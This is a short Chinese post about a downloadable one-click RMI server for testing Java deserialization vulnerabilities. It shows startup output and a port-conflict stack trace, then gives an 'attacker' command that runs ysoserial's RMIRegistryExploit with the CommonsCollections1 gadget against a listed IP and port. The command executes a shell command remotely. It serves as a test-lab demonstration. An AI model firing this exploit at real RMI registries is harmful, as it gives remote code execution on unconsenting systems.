[JAVA反序列化DEMO]利用RMI进行反序列化一键启动工具

功能：

命令行启动jar包，用户自定义启动RMI端口。默认内置Apache Commons Collections。只需一键启动即可测试java反序列化漏洞。

启动服务：

[root@sevck_v3 tmp]# java -jar rmi.jar
This rmi port is:
java rmi server start!

如果已经绑定端口：

[root@sevck_v3 tmp]# java -jar rmi.jar
This rmi port is:
java.rmi.server.ExportException: Port already in use: ; nested exception is:
    java.net.BindException: Address already in use (Bind failed)
    at sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:)
    at sun.rmi.transport.tcp.TCPTransport.exportObject(TCPTransport.java:)
    at sun.rmi.transport.tcp.TCPEndpoint.exportObject(TCPEndpoint.java:)
    at sun.rmi.transport.LiveRef.exportObject(LiveRef.java:)
    at sun.rmi.server.UnicastServerRef.exportObject(UnicastServerRef.java:)
    at sun.rmi.registry.RegistryImpl.setup(RegistryImpl.java:)
    at sun.rmi.registry.RegistryImpl.<init>(RegistryImpl.java:)
    at java.rmi.registry.LocateRegistry.createRegistry(LocateRegistry.java:)
    at rmi.server.Server.main(Server.java:)
Caused by: java.net.BindException: Address already in use (Bind failed)
    at java.net.PlainSocketImpl.socketBind(Native Method)
    at java.net.AbstractPlainSocketImpl.bind(AbstractPlainSocketImpl.java:)
    at java.net.ServerSocket.bind(ServerSocket.java:)
    at java.net.ServerSocket.<init>(ServerSocket.java:)
    at java.net.ServerSocket.<init>(ServerSocket.java:)
    at sun.rmi.transport.proxy.RMIDirectSocketFactory.createServerSocket(RMIDirectSocketFactory.java:)
    at sun.rmi.transport.proxy.RMIMasterSocketFactory.createServerSocket(RMIMasterSocketFactory.java:)
    at sun.rmi.transport.tcp.TCPEndpoint.newServerSocket(TCPEndpoint.java:)
    at sun.rmi.transport.tcp.TCPTransport.listen(TCPTransport.java:)
    ...  more

工具下载： http://scan.javasec.cn/java/rmi.jar

攻击者：

java -cp ysoserial-master-v0.0.5-gb617b7b-16.jar ysoserial.exploit.RMIRegistryExploit 121.42.182.208 1234 CommonsCollections1  "touch /tmp/test"

工具ysoserial自行github下载